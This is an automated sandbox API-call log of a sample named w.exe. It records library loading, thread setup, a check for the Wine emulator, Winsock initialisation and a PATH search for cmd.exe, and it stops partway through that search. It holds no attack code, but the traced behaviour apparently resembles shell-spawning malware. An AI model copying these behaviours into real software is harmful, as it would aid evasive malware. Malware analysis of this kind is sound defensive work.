# Flog Txt Version 1
# Analyzer Version: 3.0.2
# Analyzer Build Date: Jun  6 2019 12:21:16
# Log Creation Date: 28.06.2019 15:19:42.275

Process:
	id = "1"
	image_name = "w.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w.exe"
	page_root = "0x4f032000"
	os_pid = "0xad8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe\" "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0xadc

	[0028.076] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000
	[0028.077] GetProcAddress (hModule=0x76c20000, lpProcName="AddDllDirectory") returned 0x0
	[0028.077] GetProcAddress (hModule=0x76c20000, lpProcName="AddVectoredContinueHandler") returned 0x771937e1
	[0028.077] GetProcAddress (hModule=0x76c20000, lpProcName="GetQueuedCompletionStatusEx") returned 0x76cb43af
	[0028.077] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d
	[0028.077] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000
	[0028.077] GetProcAddress (hModule=0x74d40000, lpProcName="SystemFunction036") returned 0x74d41919
	[0028.078] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000
	[0028.078] GetProcAddress (hModule=0x77130000, lpProcName="NtWaitForSingleObject") returned 0x7714f8ac
	[0028.078] GetProcAddress (hModule=0x77130000, lpProcName="wine_get_version") returned 0x0
	[0028.078] SetErrorMode (uMode=0x2) returned 0x0
	[0028.298] SetErrorMode (uMode=0x8003) returned 0x2
	[0028.298] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x44bbe0) returned 0x7dee30
	[0028.298] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x44bbf0) returned 0x0
	[0028.298] SetConsoleCtrlHandler (HandlerRoutine=0x44bc00, Add=1) returned 1
	[0028.300] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0028.302] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x18fea0, lpSystemAffinityMask=0x18fe9c | out: lpProcessAffinityMask=0x18fea0, lpSystemAffinityMask=0x18fe9c) returned 1
	[0028.302] GetSystemInfo (in: lpSystemInfo=0x18fea4 | out: lpSystemInfo=0x18fea4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) 
	[0028.302] SetProcessPriorityBoost (hProcess=0xffffffff, bDisablePriorityBoost=1) returned 1
	[0028.303] VirtualAlloc (lpAddress=0x700000, dwSize=0x30202000, flAllocationType=0x2000, flProtect=0x4) returned 0x0
	[0028.303] VirtualAlloc (lpAddress=0x0, dwSize=0x30202000, flAllocationType=0x2000, flProtect=0x4) returned 0x2180000
	[0028.343] VirtualAlloc (lpAddress=0x11148000, dwSize=0x1238000, flAllocationType=0x1000, flProtect=0x4) returned 0x11148000
	[0028.394] VirtualAlloc (lpAddress=0x2180000, dwSize=0x25000, flAllocationType=0x1000, flProtect=0x4) returned 0x2180000
	[0028.394] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000
	[0028.395] VirtualAlloc (lpAddress=0x12380000, dwSize=0x100000, flAllocationType=0x1000, flProtect=0x4) returned 0x12380000
	[0028.398] VirtualAlloc (lpAddress=0x11138000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x11138000
	[0028.398] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x220000
	[0028.399] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0028.399] SystemFunction036 (in: RandomBuffer=0x605000, RandomBufferLength=0x40 | out: RandomBuffer=0x605000) returned 1
	[0028.400] GetEnvironmentStringsW () returned 0x7e4678*
	[0028.401] FreeEnvironmentStringsW (penv=0x7e4678) returned 1
	[0028.402] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18fedc, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18fedc*=0x68) returned 1
	[0028.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x100000, lpStartAddress=0x44bd00, lpParameter=0x123a4000, dwCreationFlags=0x10000, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c
	[0028.404] CloseHandle (hObject=0x6c) returned 1
	[0028.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x100000, lpStartAddress=0x44bd00, lpParameter=0x123a4240, dwCreationFlags=0x10000, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c
	[0028.410] CloseHandle (hObject=0x6c) returned 1
	[0028.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x100000, lpStartAddress=0x44bd00, lpParameter=0x123a4480, dwCreationFlags=0x10000, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c
	[0028.414] CloseHandle (hObject=0x6c) returned 1
	[0028.414] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6c
	[0028.414] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0028.432] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000
	[0028.433] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3
	[0028.433] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
	[0028.433] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c
	[0028.433] SetHandleInformation (hObject=0x3, dwMask=0x1, dwFlags=0x0) returned 0
	[0028.435] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0028.435] SetHandleInformation (hObject=0x7, dwMask=0x1, dwFlags=0x0) returned 0
	[0028.436] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0028.436] SetHandleInformation (hObject=0xb, dwMask=0x1, dwFlags=0x0) returned 0
	[0028.437] LoadLibraryW (lpLibFileName="ws2_32.dll") returned 0x75bc0000
	[0028.437] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2
	[0028.437] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x123b5df4 | out: lpWSAData=0x123b5df4) returned 0
	[0028.447] GetProcAddress (hModule=0x76c20000, lpProcName="CancelIoEx") returned 0x76c4efbc
	[0028.448] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileCompletionNotificationModes") returned 0x76caaeee
	[0028.448] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAEnumProtocolsW") returned 0x75bcc8e1
	[0028.448] WSAEnumProtocolsW (in: lpiProtocols=0x123e8f58, lpProtocolBuffer=0x123e8f60, lpdwBufferLength=0x123e8f54 | out: lpProtocolBuffer=0x123e8f60, lpdwBufferLength=0x123e8f54) returned 4
	[0028.541] SetEvent (hEvent=0xa8) returned 1
	[0028.541] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328
	[0028.541] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x123edf70 | out: lpMode=0x123edf70) returned 1
	[0028.541] SetEvent (hEvent=0x8c) returned 1
	[0028.541] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x760000
	[0028.542] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x123edf70 | out: lpMode=0x123edf70) returned 1
	[0028.542] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x123edf70 | out: lpMode=0x123edf70) returned 1
	[0028.542] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223
	[0028.542] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe\" "
	[0028.544] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467
	[0028.544] GetVersion () returned 0x1db10106
	[0028.544] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableW") returned 0x76c31b48
	[0028.544] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408000, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0028.544] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesExW") returned 0x76c34574
	[0028.544] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.544] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c
	[0028.544] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.545] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.545] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.545] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc0f8 | out: lpFileInformation=0x123fc0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.545] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.545] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.545] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.545] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.545] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.545] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.545] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.545] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.545] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.545] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.546] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.546] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.546] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.546] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x123fc328 | out: lpFileInformation=0x123fc328*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.546] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.546] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.546] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.546] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.546] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.546] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124080d0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0028.547] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0028.547] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124081a0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0028.547] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.547] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.547] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.547] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.547] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.547] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.547] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.548] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.548] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.548] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.548] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.548] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.548] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.548] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.548] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x123fc698 | out: lpFileInformation=0x123fc698*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
